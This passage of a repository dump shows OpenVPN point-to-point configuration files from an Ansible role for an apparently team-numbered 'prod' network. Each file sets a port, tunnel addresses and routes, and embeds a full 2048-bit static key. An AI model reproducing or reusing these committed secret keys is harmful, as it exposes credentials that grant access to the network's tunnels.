30 | e4bb68779c846ee0bb2a9df6f608f992
31 | bfcf70a6142b40bf714801a70067b881
32 | e1312a4003e55a633ffc83a1b5ba6e90
33 | f28ff49d299a8ad4eaa6171942eae6f0
34 | 07145eba98cf12d95f4942e036a517bd
35 | fff6c06fa8d9d55144f772e08dfe0111
36 | bed84d713a4d46e269bfb96aa10a9736
37 | ecea22d5ef531e382a007707a442e1cc
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/258.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30258
3 | dev team258
4 | dev-type tun
5 | ifconfig 10.81.2.1 10.81.2.2
6 | route 10.61.2.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | cb23ccbe8da721d51458629f0080c943
23 | 653eb0dd2d2e923c7187516cac3ce219
24 | 6d4898bc82a14a871bd2e8734f145264
25 | dde3ee369678fab7568f89089c8f089a
26 | 8f228b39e3124d024d89d401b43fac57
27 | 987ef492454055295f901922569c2149
28 | 1fb55f785290ce5ff1d166125f119ce9
29 | fa89795b692d31d9cf89c289f2bd41a3
30 | 3fbba1cb4f6fbdbf9ee4c3a8af419f57
31 | 28153840ff23216d49715788c0d866f6
32 | f48c7d0ff0921bc964231f5a614ee1ac
33 | 9e6ca2577137cbb2f36c5d103a2c1e64
34 | a5e2aa5e81327e10c6ca257953a2acb2
35 | 9771632174514dd857e86a727414e807
36 | 94f00af83ded5c4a21c2bc7d70c4c39c
37 | 81a584830def2673811927db052e1703
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/259.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30259
3 | dev team259
4 | dev-type tun
5 | ifconfig 10.81.3.1 10.81.3.2
6 | route 10.61.3.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | eae1f8e20e34b69b2296757208f6eafc
23 | 434bbec1880a494f4fa96c4ad8390b91
24 | 71ef210fd5c27f0051234565a3099160
25 | f63d9fbb7331633b40bdf1a561a7f310
26 | cc1797f29492efd2ad7568f02ceeafc2
27 | 8494615da8898ef9e60c1f78b27100d5
28 | f4d3b2b6588b182fe0bb5a86159d5c84
29 | 350ab7a786d60b6548f3cd7dfa06df6d
30 | 1444f21b44b69fae28a357f610c31263
31 | e07ff00ecdc961758d7bef19726549b0
32 | 9cda66d9961554f6d78829cbac24ef88
33 | a15c174871e9c49e378144314ce16cdc
34 | 698a3cf68226ccca81fd6336444c13b0
35 | 901cc4e5f0b1e1491de575ba39c2ae2c
36 | 9467949218dc06f4c82a313012245d7d
37 | 828a76a6f5798526b645c19ed2bf6fe4
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/260.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30260
3 | dev team260
4 | dev-type tun
5 | ifconfig 10.81.4.1 10.81.4.2
6 | route 10.61.4.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 92310b9d0e3cd31afc9c680e8362b7e6
23 | d6f7ab1a7946c26194d290e42d501a3a
24 | f57db12ffdd1497ee7505c2bad229ada
25 | c001c3b5bb1ce2cc6a18b22d69a29d59
26 | 02b681622415795149b75cdfafd96b84
27 | e240b64b5263f5f79365ff90ce89e672
28 | 0077876d035d264edeb06532e4d14ed3
29 | b2387c237101ed73b9e8dd6c8d0e684a
30 | b698a1ce3199a369edd0d65cbd859c99
31 | fb5037e91456590011fc027e36e57eed
32 | de2a8cbeca113c0065e2dfbad6361333
33 | daf99872a156f08a813fe6bcb88fee3a
34 | b687cf357c3859e9ef4ab7cb45c6c062
35 | 13b9c0c8c0e7e33b065000977a0f9050
36 | 15e2bc9165ad25cc58c9e58b82c861fe
37 | 2082a2137239252350dcd1339ce9b8ac
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/261.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30261
3 | dev team261
4 | dev-type tun
5 | ifconfig 10.81.5.1 10.81.5.2
6 | route 10.61.5.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 8611fa77f0632a6070c7bf69dd032b4c
23 | 3682baf7c4210dca014fa2de11805a9c
24 | 8d57eec1121eabb6b18911b13ee04b6f
25 | d688d6a208fad2c3fbeb983b6a363edd
26 | 7254f01059477061d5b7884f0b482e42
27 | 2be2032d4b0c5cf80032a7cccf8f8afc
28 | beb951c7d85f1de66b16ad3a5c616ffd
29 | abe44024f42a61e86afb513106fa9c81
30 | ef7ab5cd789bf7c0b03f3c698157344f
31 | d9a173e747aa4eaba6be7634f093c81e
32 | 890351232441958ff9b63c47acda7356
33 | a63f273028e55ff64faafd0445f6d8e0
34 | e8a0113953e08a247e09ec9ef1d48ae4
35 | b9ba8d166ede9fa69fdea7ff27ef9809
36 | ed147a6567e9c203dc015b5f66f143b9
37 | b88a7f02459da6277c286ceed8a3b102
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/262.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30262
3 | dev team262
4 | dev-type tun
5 | ifconfig 10.81.6.1 10.81.6.2
6 | route 10.61.6.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 685413dfbd7e46c4658036602187bea2
23 | 8b501f9a4bed7678c6cb45c77bfb88c8
24 | f4c535395a38781e9e4ac871feb59a38
25 | 751a803da5daae58a28c5b73f7206136
26 | 7bb565ade180f4cd8a1895e5bd63b340
27 | 829e78323dd200e8102d68b244e21516
28 | 1508e28eb427c2d1fda6bf8d17eb1c06
29 | 2bb41a4a23fb9517e5a0146ea91a132d
30 | 4c7574527bbfa6d949b2a0a6cd37238d
31 | d5cbe0fe1e402b5f3077271d49ce5e9a
32 | 30188baf5bfb101b69d3c04de0b046fa
33 | 658ce013fb404cc28b5860966ca97769
34 | 7a4494fdabcf2f921b968ffeaaa19fdb
35 | 7a3ef237b0cce98932f79a108b1dbacb
36 | c2b1cc077b00aae3d7f92806c1da0339
37 | fe6c22b66215fedd172cc126c6d3e96f
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/263.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30263
3 | dev team263
4 | dev-type tun
5 | ifconfig 10.81.7.1 10.81.7.2
6 | route 10.61.7.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 584237ddc55d8595faeeedbfbdd69915
23 | cd9c5afcf5724cc6b03fb91ca0d5bdb7
24 | 4ebf857039a54ed7fa8c1e75ffa57e93
25 | 5107b4a0d01f2eb9dfd3e18375ab9e39
26 | 88a86949987c34177f03eab17ea0a502
27 | 2bea10f5ebcfdf216cc90e04b351d429
28 | 1355302f54ddcc62d1e03ba79b900fe0
29 | 9556e4cb884ad45098ceb49b32cfc3f5
30 | 173ff606cc4db696879fbbeed1df7f6a
31 | 4b189e85d2e1e7c85638dc3a6e563543
32 | aa3abf21f995e392f0e75bcbfa0fa509
33 | cdd2ee0c01a874df3cc24a04bf75ce37
34 | 6977cf415ec093e2e51e00ea81581ac0
35 | 33dcaa26db3b409e561fcaa42c64a86b
36 | 2ce8d5f62612f7b01d27f9e3808284ba
37 | cc8502585d54bf1f2dcfe10ca3bfa8f0
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/264.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30264
3 | dev team264
4 | dev-type tun
5 | ifconfig 10.81.8.1 10.81.8.2
6 | route 10.61.8.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | ab89247d81b4174f0b8243b6d91285d4
23 | 3359b91d38d73efcc9c6308fa4aa966f
24 | 44d33c0a612f32af3f35c4d00839e6fb
25 | 0f034f73e495c8e8d4f2e03becbfc733
26 | a329e7e49f30b6c5e87159751149e917
27 | bf98b425b5ffcd4175b4cbfe19508d6b
28 | 5fee19ebb7bc2e1c3dd741a89ac6b546
29 | 0da7b9af856be5a82a9bd4d996f8cdb2
30 | 730da497ba10a98271e91a3ebca9bb11
31 | 5a9cd8e96bdfbf9e0054e953b9d0e31c
32 | 2e6488d0391ce0da71f546f10b73643f
33 | ca0367e52edae8b5bb20f50a6fce2e0b
34 | 815abf3c423254fa9734c57f2905c61b
35 | 7ec114ef233017c2bf038baac81a2dff
36 | 40d55455c17b5e58f8374be108657ccd
37 | ed8e966e0ba632b0d0032d7276f101e0
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/265.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30265
3 | dev team265
4 | dev-type tun
5 | ifconfig 10.81.9.1 10.81.9.2
6 | route 10.61.9.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 2b6b7473bbc01db9b3b520497b6ecab4
23 | d4e37e9fddd54e08a00fa934929e2338
24 | 478c8948a949050129ac73cd26743174
25 | 882bf5b2cd4a8f82cc320ff69b626357
26 | 5b124a96d28013598efbcf747619d248
27 | 20035639bef5727dd3bc643a7e30d66b
28 | c5f5d2327719bdae169ca5147c00e6bd
29 | 830cae0a23635875e0cbeabc13c1ec60
30 | e47020cf5d9d668e636724197201ace9
31 | 9689bcc1c6c348d3532ae7508b2007f0
32 | 238bc4a227778bbe39b914000d16bc7c
33 | d43ccdb2520ebb2ea149cacd381e5d49
34 | f5d19e1acc91590474ad1195ce5c43d9
35 | 6b01225f9b1b2675e8f74ff0825d6767
36 | 338700be3b3c60b443ee48cfd627e1c9
37 | a5601a856e103bbf8d0a07b4a46c0c32
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/3.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30003
3 | dev team3
4 | dev-type tun
5 | ifconfig 10.80.3.1 10.80.3.2
6 | route 10.60.3.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 83ba740480eb67afd15a47902e37396d
23 | a11fd25f6a71eb87547174942c96d39b
24 | 04250869a2e09d7dfb5dcf33226fe14c
25 | 25139659996ea749adfdaefbb29f73cc
26 | 49b54b14403699b96a30b157a038e229
27 | 88075aaccbe7258bc61ada96f030fa8a
28 | f5d6b61d6b5b523772dda99dedbe7dec
29 | 019cbf7c1bc8557f29fadee50330edac
30 | 3ae97528705b98115692ddf3a0dd4712
31 | afa6c144a41175320b9e0a50fa92840e
32 | 7cc24fd62ab2964a6088248acd57ad9f
33 | 4b8a06d127711d8783862c54ddb9165c
34 | 3dc766fdaa99e5b10bec10ceb5c14665
35 | da88b4f0917f332caf3436a421666a32
36 | c5c73ef9b83dabb6df519b8392f7e9c4
37 | ca96a030523a1465d614ff09956f3da1
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/4.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30004
3 | dev team4
4 | dev-type tun
5 | ifconfig 10.80.4.1 10.80.4.2
6 | route 10.60.4.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 37d9e65d71970cf72eee25acfb6aacd2
23 | ec093f365533adf4d725c172654ac1a8
24 | a13841f955aa77c87c4a290373b4198d
25 | b6c1c5e2a4b9cabbb263c7e391943b94
26 | bfb22be0ecb54cf4256996029f3b2a91
27 | 1329a64db0ad9b3fdd008cceb759b9be
28 | 72e15b92fa2589c968f2c8d9938a84d9
29 | 6c8aa3b878a3ae83c18207d08bd62f01
30 | b0a43a396726ac3ce63a9e4ea0491ef3
31 | 645c7cc11ced0ef6997a1165e3a40aff
32 | c8742b15124f9a2a45df90252b017494
33 | 1fa8d829b26871555d79b2cb4521a05a
34 | b316f0cf00d26745585f4371fe997356
35 | 880a17254f60a06007cbb233febbc391
36 | d1745fb21ec58357c2aaffe7ae6dff39
37 | 5d641c2262a817902c5c3e2b23dbaf5b
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/5.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30005
3 | dev team5
4 | dev-type tun
5 | ifconfig 10.80.5.1 10.80.5.2
6 | route 10.60.5.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 4fa61b43f0fe4affd8e28e5fcc38ef97
23 | 9ad7f3b9cbdfb152dda8e64cca0a1a1c
24 | 88b2cb004090cdfd6662096cbf86e985
25 | 5ec476024dc93e9c058249452a170b0b
26 | 8f3096d4b32a34576e7e11a63c0d1506
27 | 16050a82f6e692e00444b6df38a6712b
28 | 11c85f5c19e8df7ec0f208342565a580
29 | bcda63d5098fb43224cd7a02bfcfb00c
30 | 6e286136b178a0ef544a291680d47dd2
31 | a90e0ea5cee3685312982163a8c6c054
32 | 05f7a65adb714d7330c49100e348dfe0
33 | 8c5b4147c0a2e5e7fca1f05ecc32bd95
34 | bceeed21b40b6bfd9b7b5ee64f362c95
35 | 394c74c2cea62a0e65330125303e7bdd
36 | 98c530ee2535c05939bb5161854bc39a
37 | c34f31caab7704dbd82fcbd29b5e19f2
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/512.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30512
3 | dev team512
4 | dev-type tun
5 | ifconfig 10.82.0.1 10.82.0.2
6 | route 10.62.0.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 271bbbcb7dfbba198accbba582bc8784
23 | cb425aaf4477f018379255296b275bca
24 | cf708859b4dd0f6bb9077c0eb1e79b42
25 | 69b25c786bd19ee887ce6d1f32605b61
26 | ee5a4d61c165aa4be4a6bab3d263723f
27 | 55cc9f93937120d920b5fe32f8dfe2a1
28 | d8e10e87a20d6cdf281ac01175b26bc5
29 | 1b752b02cd10eafda351421db2c1dbd8
30 | dbff04819b92ba563c0f60362c24dfdc
31 | c0c097cea00e5beea19f9ef23838df2b
32 | 8b3110f41ae9e919cc0184cf8b00a311
33 | a80577e42e91fe64d29da6b118690ab6
34 | 329bad60d6548d6afd82f06b20c33a9f
35 | f8b7f211dc096506b745af6f27359c73
36 | 09a38f3185ad5dc6ba018305a6f213c8
37 | 2b67afbe606e9037517f7a76ed85ecbf
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/513.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30513
3 | dev team513
4 | dev-type tun
5 | ifconfig 10.82.1.1 10.82.1.2
6 | route 10.62.1.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 8dee020398f2de5267f8a45e79f519d8
23 | 43633d8a915bf49a19de4013f9b81b24
24 | ee44eb2df4a99fb73b91dd410ecb3044
25 | 6a86f1631a95ce27f0d1131c04fc6499
26 | e2a1f7cb46a7487bad0d59593359bae6
27 | a5c12bac2b2c5507fca3d9ed9c880e66
28 | 28c889b96a4e50aedfe4aeb2420fdc84
29 | 717629ef0eccd50b913e6c1bad7eee0f
30 | 7845d360f8097320c397ac1ec0b0e7a8
31 | c5fe2c0ba4d47832d6ee276b5094ed2c
32 | 608fbc7ba92ca24b2d56a4212594e72e
33 | 6f8147be3cc0b633a8d67feb31c50c54
34 | 65b99183e9afc58ccd70587bf705be54
35 | e78a656b6d85c70f9c182bee03765fc8
36 | 4447db3fef99479b353f91aba4d483f0
37 | fe1f82af88c621e1aa516fad30cba7a1
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/514.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30514
3 | dev team514
4 | dev-type tun
5 | ifconfig 10.82.2.1 10.82.2.2
6 | route 10.62.2.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 415e4d8c9ad89e24d8ed3ed805e73717
23 | d1d83d64b78d457f1e4d112ed9780cba
24 | 265e337671198a962fd29650c17a87eb
25 | d06dcec60c6c0f13d598750f9dadf661
26 | c02b476fb3e2bf18ea05e1c697c6049a
27 | bd473be2559af235a9891b65d14d48c3
28 | 2b3b45187304ad710fe7dbb5d0be0d43
29 | 6635f73941bb785c19ca080ad1ca08bc
30 | e2188627f6919b3a59881be6eef0dd2c
31 | 3b5a7ed45b5707258b6f3f607e5bb69e
32 | 1dba43bf77c855e28b5adeebabfbc72f
33 | 71b48250e2db60ffb5bfcd7940974362
34 | c6f535c3a92bf1c97e2692b86401c388
35 | a368a76bb578053e8f640ce164346e5f
36 | ad31079690be1b22a07a3a92d6e9649d
37 | c28cca7931ab4457437f5e70bcfe2d60
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/515.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30515
3 | dev team515
4 | dev-type tun
5 | ifconfig 10.82.3.1 10.82.3.2
6 | route 10.62.3.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | fb02b9b0ec89d351c5d83f335cd9ac88
23 | 1c57aaec96ce676d1dba5edf4e17bc96
24 | 834e63a17f1bae0093e80b17a5b37515
25 | ddd39e13d88d37f5976f82a9bb79d2a7
26 | 3a8ae04802c5c70293ebbfb8f3413f96
27 | a5cf2c601d6f4f270d37ff18a1de0e5c
28 | 9dca6e38d1d4bef91b8b6b7c2f2ca1bf
29 | 4d0e442effeb073286700a902179f90f
30 | f2c43596dc1096d962e9a96c972aa8ef
31 | e955ef6b5ae675526214e265ee0069dc
32 | 5c7b98741185b9479d28c8ac940c2964
33 | e3522135d6b35fd528602d335e9fb2c4
34 | 7cd12b136081d2eff980247522db7530
35 | 58cfc7592924df675b2d70a2bf4e6286
36 | f60a7a550e6eb4afbacd8fd45b24b7ac
37 | 10286f944acea54ad47860058689fd5f
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/516.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30516
3 | dev team516
4 | dev-type tun
5 | ifconfig 10.82.4.1 10.82.4.2
6 | route 10.62.4.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 5d40e824b7e0062ea344c60c2d4cc498
23 | b974f645afbf3e5d01691cb37321638c
24 | 9d0fc5a74bb1954d7ef39bd9f8440d3a
25 | d748d55300694cfa567e62dd27aa0b0c
26 | 9fade9cd4c1c48af51d6bf37db6eb27c
27 | 315ba48d7301f4a97abbf4c9f831edc9
28 | c328eaa585cc3207e725eab2b2f7a2d9
29 | e0c8454560ca7b5772513597303a92e5
30 | 1f3aab182de38d2eaca44c7c074db810
31 | 8d97e214566928655b870c1591b79d98
32 | 25bddc33e953d8607523610681308a7a
33 | 97fe4f2c734451cbaffc473a6f4c06ab
34 | 0e2eb587080b3aee764a1b9bb98caa1c
35 | 11e768ed7c0b9601bc396a10adec87cd
36 | 3f4ee7122873578825adcc4778afb4ed
37 | 639bbdb51c420d8efc752de5753ed828
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/517.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30517
3 | dev team517
4 | dev-type tun
5 | ifconfig 10.82.5.1 10.82.5.2
6 | route 10.62.5.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 24cfc1c52765e79ae13d1d7a5e55011d
23 | 8f58772d40b8e0719215cf0378c7752d
24 | b53811c44a203d032138baa9040fa117
25 | d14517056b39ce2dfbcf746b1f9d2afe
26 | 3e88a2df1749a2ad05f257db3e220f19
27 | 5a45585914b4fd5817761b747399379d
28 | b75b70e8f26560de80cde017ba32c1cb
29 | e2376ba0c210578b1b01903cf819f80d
30 | b87382e776682aad7297bf201bb94609
31 | 30004547d79cfa5552973b642ebc663e
32 | 24c8ab9adad0db28c042b61efe0c3c93
33 | c4207923815a3b3951aed48b6ea133bc
34 | d2682d23569ae3fd57a5142ca9298ab9
35 | 2fa57cb84cec1b5997dac0323e4b634a
36 | 0b2997dac92a8518123a58c89d95643c
37 | 0d6eaa0993699e6f392e7e3dea5e882f
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/518.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30518
3 | dev team518
4 | dev-type tun
5 | ifconfig 10.82.6.1 10.82.6.2
6 | route 10.62.6.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | e408e3dd21b15696451c14abc7f7c162
23 | 06dfe388a96ebe90d9dc73065632cf4b
24 | dde793d1f38294c72fa1d56da77a1915
25 | 6ee904c2f92ebca3214e92862202d346
26 | 07ceefdee151dc27a3ee47220700d666
27 | 1e404ac615806dd448a7595cdcd37d8d
28 | 96dd64603a1d217dc4c173c3b2a78385
29 | 8360dcfba1d016a6f4e6d13ce59d8117
30 | eda82ea6b9d8a397c3953981373f0816
31 | 714c5ee357b0d4365fbf5a1818846042
32 | 923f943f8a1c06b3d3db54c7a77e84a7
33 | 12503e2da782e80e1dd5ae4593c41fa9
34 | aeeefa305d0d572930856ae3aec61f18
35 | 7cbdc275dd05c522e7eafa7c8e8e362f
36 | 0fd710f8c5f350a7aa9db62f049409e3
37 | f659bb97a7d488a904d6c6eef927d4d4
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/519.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30519
3 | dev team519
4 | dev-type tun
5 | ifconfig 10.82.7.1 10.82.7.2
6 | route 10.62.7.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | c0e326298190fd09d1eeda4f0bc3ea5a
23 | f42cd0e585267ed10c2e83250971fd43
24 | 98ff5d5779cb134e30921d0c68bac692
25 | b671ae0ece36046712cf6418dffdfa65
26 | a6f466a89b9507bddad68589f938d077
27 | ff4de16dbf9689d531ab3422014d369a
28 | 14899b66bbb40d3689f729f30a01bdcf
29 | b5996bdee8b2e2235cf1090509ae4afb
30 | cdce47e60ec4956f35bc9a3083faabb4
31 | 63aa8b411971327e180e62196858aede
32 | 3867c44af0e5150fb28b7f99dcfb6b52
33 | 34bd126bfbdd5934fbf2c6d88a931c1c
34 | 839979b9483583d8125061c8e3d922f4
35 | 0a8d00f49e3c914356f7a08255478043
36 | 453412d901bcdbba807377b60bfa3af1
37 | 24a61492d2d6b3d09998cd7cdbe1a6a0
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/520.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30520
3 | dev team520
4 | dev-type tun
5 | ifconfig 10.82.8.1 10.82.8.2
6 | route 10.62.8.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 1fdb8ec6faf1ec923e89b83fe409dfdb
23 | bdd924e4ec23ec021c556d7fc300f6d9
24 | dc6ed48d0980490787931a3a17af5001
25 | b7d2f84a6c715a20a243204329378558
26 | 05cf3793e7a01a219bc8c1341efb4015
27 | 31adddeaa83f74d296a863d5d6fcbb7a
28 | 0b7f55038fe9ac5698356593b2f556b6
29 | 11af3f1d692b917a3cba5688ecc2ac7d
30 | 1d24f3c4517f0779cc9d862745dae74a
31 | 3380674ebc2f0c3c9299d45020b4aa54
32 | 30fb9aad7c25e145af6311b1b22428c0
33 | 9f11a0adcbff9e7264c1be3a6e2be197
34 | 35733d349fefe7b744f6f251d44b770d
35 | e61c6c8f5ad99498221d259947bd40e5
36 | 3f2d592296858281e4a46adc1202a1ba
37 | 3684e1c9fbd4e12239722a26cb1a4d62
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/521.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30521
3 | dev team521
4 | dev-type tun
